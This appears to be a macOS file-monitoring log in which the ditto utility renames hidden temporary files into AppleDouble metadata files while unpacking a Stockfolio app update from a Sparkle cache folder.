Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/MacOS/.BC.T_dfZ6lU -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/MacOS/._Stockfolio__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/.BC.T_TYF81x -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/._MacOS__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_3Ju1y6 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._star-icon@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_LiQx2C -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._menu-arrow@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_J03y5Z -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._Stocks.icns__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_AXAfLz -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-lastupdated.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_2WDEu9 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._menu-arrow@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_X3tHaw -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-more-arrow.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_nA6Un0 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-checkmark-white.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_Snn9f2 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_y1pud4 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-move.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_6MeKUq -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._menu-logo-white@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_71rS8H -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-search.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_1tRXIl -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-checkmark.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_GaNt97 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-close.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_bWAMb9 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._toolbar-arrow-green@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_unIsJh -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._star-icon-full.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_88p38H -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-sprite-1.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_dSqjko -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-button-settings-active.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_GYTroi -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-portfolio-addportfolio.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_yWg7qz -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-more-arrow-white.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_0wVOl7 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-button-settings.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_lxyQIK -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sort-off.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_jXBYzn -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sidebar-arrow-reverse@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_fvGqj5 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sidebar-arrow@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_BBIXBA -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-portfolio-calendar.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_pBSXM9 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sort-up.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_0zc88V -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-2.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_zFj4Zf -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._portfolio-empty@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_cp1z9Z -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-watchlist-off.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_eLeRsB -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sort-down.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_YtTs7r -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._dropdown-arrow.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_hdYetf -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._portfolio-empty-search.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_FKX3Ex -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-portfolio-percentage.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_T70RrW -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-watchlist-on.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_wFuTth -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._watchlist-li-background.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_wZbxbL -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-tiny@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_9wWJEh -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._star-icon.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_2XXoMs -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-sprite@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_qkhagp -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-clone.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_ve8B0t -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-portfolio-search.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_7nvO5M -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-portfolio-addtransaction.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_dIlhnd -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-button-add-active.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_hle4Vr -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-search-active.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_OK4Qnj -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-watchlist-off-active.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_JjjNy6 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-sprite.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_98mnsK -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._menu-logo@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_0EjW68 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-search-clear.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_fMlPDH -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._menu-arrow-red@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_qA1nJ2 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._toolbar-arrow-red@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_Z8OTVD -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-button-add.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_KdR4ES -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-watchlist-off-hover.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_s1Twfb -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._icon-delete.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/.BC.T_m0Bj69 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/images/._sidebar-icon.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/.BC.T_yt4fPu -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/production/._images__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/.BC.T_YXb1Il -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/App/._production__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_6YcJ2O -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._App__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_sTpgoe -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._toolbar-arrow-green@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_ySKr7L -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._sidebar-icon@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_U0jf53 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._AppleIncRootCertificate.cer__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_N3VV0N -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._AppMainWindowController.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_dwLZiI -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._star-icon-selected@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/Base.lproj/.BC.T_IL3vBn -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/Base.lproj/._MainMenu.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_EfYpcA -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._Base.lproj__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_EYOATL -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._icon-tiny@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_hbjGS8 -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._icon-tiny-white@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_XZPafQ -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._dsa_pub.pem__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_JvRolI -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._StatusBarPopupWindowController.nib__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_tVufVc -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._cryptoCurrencyList.json__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_SKbllB -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._menu-arrow-red@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_X0JwPB -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._toolbar-arrow-red@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/.BC.T_SJ9ZDg -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/Resources/._icon-paddle@2x.png__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/.BC.T_sP0sga -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/._Resources__
